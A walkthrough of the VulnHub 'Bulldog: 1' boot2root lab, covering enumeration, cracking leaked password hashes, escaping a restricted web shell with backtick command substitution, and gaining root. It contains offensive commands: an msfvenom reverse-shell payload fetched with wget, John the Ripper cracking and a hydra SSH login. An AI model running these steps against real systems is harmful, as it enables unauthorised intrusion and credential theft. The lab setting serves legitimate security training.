This post documents the complete walkthrough of Bulldog: 1, a boot2root VM created by Nick Frichette, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.


Bulldog Industries has its website defaced and gets owned by the malicious German Shepherd Hack Team. Could this mean there are more vulnerabilities to exploit? Why don’t you find out? :smile:

Information Gathering

Let’s kick this off with a nmap scan to establish the services available in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
23/tcp   open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|_  256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
80/tcp   open  http    syn-ack ttl 64 WSGIServer 0.1 (Python 2.7.12)
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open  http    syn-ack ttl 64 WSGIServer 0.1 (Python 2.7.12)
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries

Let’s explore the web service first. This is how the site looks like in my browser.


There’s no clue in the HTML source of the landing page as well as its internal link, on how to proceed.

Directory/File Enumeration

Let’s use gobuster with common.txt from SecLists to look for directories and/or files.

# gobuster -w /usr/share/seclists/Discovery/Web_Content/common.txt -e -u

Gobuster v1.1                OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/seclists/Discovery/Web_Content/common.txt
[+] Status codes : 204,301,302,307,200
[+] Expanded     : true
===================================================== (Status: 301) (Status: 301) (Status: 200)

The robots.txt probably doesn’t conform to specifications or it’ll appear in the nmap scan. Now, I’ve two more directories—admin and dev to explore.

Under Development

This page /dev contains interesting information. There’s a link to /dev/shell, I suppose, a web shell. Under the hood of the HTML source, there are SHA1 password-hashes of members from the development team.


Let’s clean up the hashes and send them to John the Ripper for offline cracking.

# curl -s | sed '49,55!d' | awk -F': ' '{ print $2 }' | sed -r -e 's/(<br>)+<!--/:/' -e 's/-->/:::::/' > hashes.txt && john --format=raw-sha1 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
[email protected]:bulldog:::::
[email protected]:bulldoglover:::::

Thank goodness authentication is a must, to use the web shell.


Django Site Administration

Let’s use one of the credentials (nick:bulldog) and see if we can authenticate with the server to use the web shell.



I have a session with the site. Now, are we able to use the web shell by going to /dev/shell?


Sweet. The web shell appears to restrict itself to certain commands.

Command Substitution

One of my favorite features in bash is command substitution using backtick (`).

“Bash performs the expansion by executing command in a subshell environment and replacing the command substitution with the standard output of the command, with any trailing newlines deleted.”


Low Privilege Shell

Let’s transfer (using wget) a single-stage reverse shell payload and then run a reverse shell back. I can do that with msfvenom and Metasploit multi-handler.

# msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 -f elf -o bulldog




Although a low-privilege shell appears, let’s spawn a pseudo-TTY for better output control.


Privilege Escalation

I find two users—django and bulldogadmin, during enumeration. They can sudo as root. It’s a pity I don’t have their passwords.




Notice .hiddenadmindirectory in the home directory of bulldogadmin?




Seems like reverse engineering the ELF binary is my ticket to root.

What the ELF?

The first thing to do in reverse engineering is to look for interesting strings and that’s what I did.


If you look past the “H”, you see “SUPERultimatePASSWORDyouCANTget”. I’ll have my work cut short if this is the password belonging to any of the users, since they can sudo to root. Let’s find out with hydra.

# cat users.txt

# hydra -L users.txt -p SUPERultimatePASSWORDyouCANTget -s 23 ssh://
[23][ssh] host:   login: django   password: SUPERultimatePASSWORDyouCANTget
1 of 1 target successfully completed, 1 valid password found


It’s done.




If I had to guess, I’d say the other way to get root is perhaps through the Dirty CoW exploit as hinted in the notice page.


To an attacker, a shell is a shell is a shell. :imp: